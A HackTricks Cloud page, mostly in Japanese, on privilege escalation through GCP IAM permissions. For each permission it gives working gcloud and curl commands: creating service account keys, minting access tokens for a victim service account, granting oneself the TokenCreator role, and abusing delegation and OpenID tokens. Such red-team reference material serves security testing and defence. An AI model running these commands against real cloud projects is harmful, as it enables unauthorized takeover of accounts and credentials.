GCP - IAM Privesc
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
IAM
IAM に関する詳細情報は次を参照してください:
GCP - IAM, Principals & Org Policies Enum
iam.roles.update (iam.roles.get)
上記の権限を持つ攻撃者は、あなたに割り当てられた role を更新し、次のような他のリソースに対して追加の権限を付与できるようになります:
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
vuln environmentの作成、exploit、およびクリーンアップを自動化するスクリプトはこちらと、この権限を悪用するpythonスクリプトはhereにあります。詳細はoriginal researchを参照してください。
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
iam.roles.create & iam.serviceAccounts.setIamPolicy
iam.roles.create の権限はプロジェクト/組織内でカスタムロールを作成することを許可します。攻撃者の手に渡ると危険です。なぜなら、それにより新しい権限セットを定義でき、後で対象のエンティティに割り当てることで(例えば iam.serviceAccounts.setIamPolicy 権限を使用して)権限昇格を達成できるからです。
gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"
iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)
前述の権限を持つ攻撃者は、Service Account に属する access token を要求することができます。そのため、私たちより権限の高い Service Account の access token を要求できる可能性があります。
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.
iam.serviceAccountKeys.create
上記の権限を持つ attacker は、create a user-managed key for a Service Account を実行でき、その Service Account として GCP にアクセスできるようになります。
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
自動化用スクリプトはcreation, exploit and cleaning of a vuln environment hereにあり、この権限を悪用する python スクリプトはhereにあります。詳細はoriginal researchを参照してください。
注意: iam.serviceAccountKeys.update はサービスアカウントのキーを変更するためには動作しません。その操作には iam.serviceAccountKeys.create 権限も必要です。
iam.serviceAccounts.implicitDelegation
あるサービスアカウント上で iam.serviceAccounts.implicitDelegation 権限を持ち、かつそのサービスアカウントが第三のサービスアカウントに対して iam.serviceAccounts.getAccessToken 権限を持っている場合、implicitDelegation を使ってその第三のサービスアカウントのトークンを作成できます。説明用の図は以下です。

注意: documentation によると、gcloud の delegation は generateAccessToken() メソッドを使ってトークンを生成する場合にのみ動作します。したがって、ここでは API を直接使用してトークンを取得する方法を示します:
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.
iam.serviceAccounts.signBlob
前述の権限を持つ攻撃者は、GCP内の任意のペイロードに署名することができるようになります。したがって、対象のSAの未署名JWTを作成してそれをblobとして送信し、SAにJWTを署名させることが可能になります。詳細はread this。
You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here and here. For more information check the original research.
iam.serviceAccounts.signJwt
前述の権限を持つ攻撃者は、整形式のJSON web tokens (JWTs) に署名することができるようになります。前の方法との違いは、JWTを含むblobにGoogleに署名させる代わりに、既にJWTを期待するsignJWTメソッドを使う点です。これにより使いやすくなりますが、任意のバイトではなくJWTのみ署名できます。
You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.
iam.serviceAccounts.setIamPolicy
前述の権限を持つ攻撃者は、サービスアカウントにIAMポリシーを追加することができるようになります。これを悪用して、自分自身にサービスアカウントを偽装するために必要な権限を付与することが可能です。以下の例では、興味のあるSAに対して自分にroles/iam.serviceAccountTokenCreatorロールを付与しています:
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"
# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
You can find a script to automate the creation, exploit and cleaning of a vuln environment here.
iam.serviceAccounts.actAs
iam.serviceAccounts.actAs permission は、AWS の iam:PassRole permission に似ています。Compute Engine インスタンスの起動などの操作を実行する際に、Service Account として「actAs」できる権限を与えるため、権限管理において重要です。これがないと、ユーザが不適切にアクセスを得る可能性があります。さらに、iam.serviceAccounts.actAs を悪用するには複数の方法があり、それぞれに必要な権限セットが異なるのに対し、他の方法は単一の権限だけで済むものもあります。
Service account impersonation
Service account を impersonate することは、より高い権限を取得するために非常に有用です。別の service account を impersonate する方法は次の三通りがあります(詳細は https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account を参照):
- Authentication using RSA private keys(上で説明)
- Authorization using Cloud IAM policies(ここで説明)
- Deploying jobs on GCP services(ユーザアカウントの侵害により関連することが多い)
iam.serviceAccounts.getOpenIdToken
前述の権限を持つ攻撃者は、OpenID JWT を生成できます。これらはアイデンティティを主張するために使用され、必ずしもリソースに対する暗黙の認可を含むとは限りません。
このinteresting postによれば、audience(トークンを使って認証したいサービス)を指定する必要があり、google によって署名された JWT が返され、その JWT に service account と audience が示されます。
You can generate an OpenIDToken (if you have the access) with:
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
その後、それを使ってサービスにアクセスできます:
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
この種のトークンによる認証をサポートするサービスには、次のものがあります:
- Google Cloud Run
- Google Cloud Functions
- Google Identity Aware Proxy
- Google Cloud Endpoints (Google OIDC を使用している場合)
サービスアカウントに代わって OpenID トークンを作成する方法の例はこちらで確認できます。
参考
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks Cloud

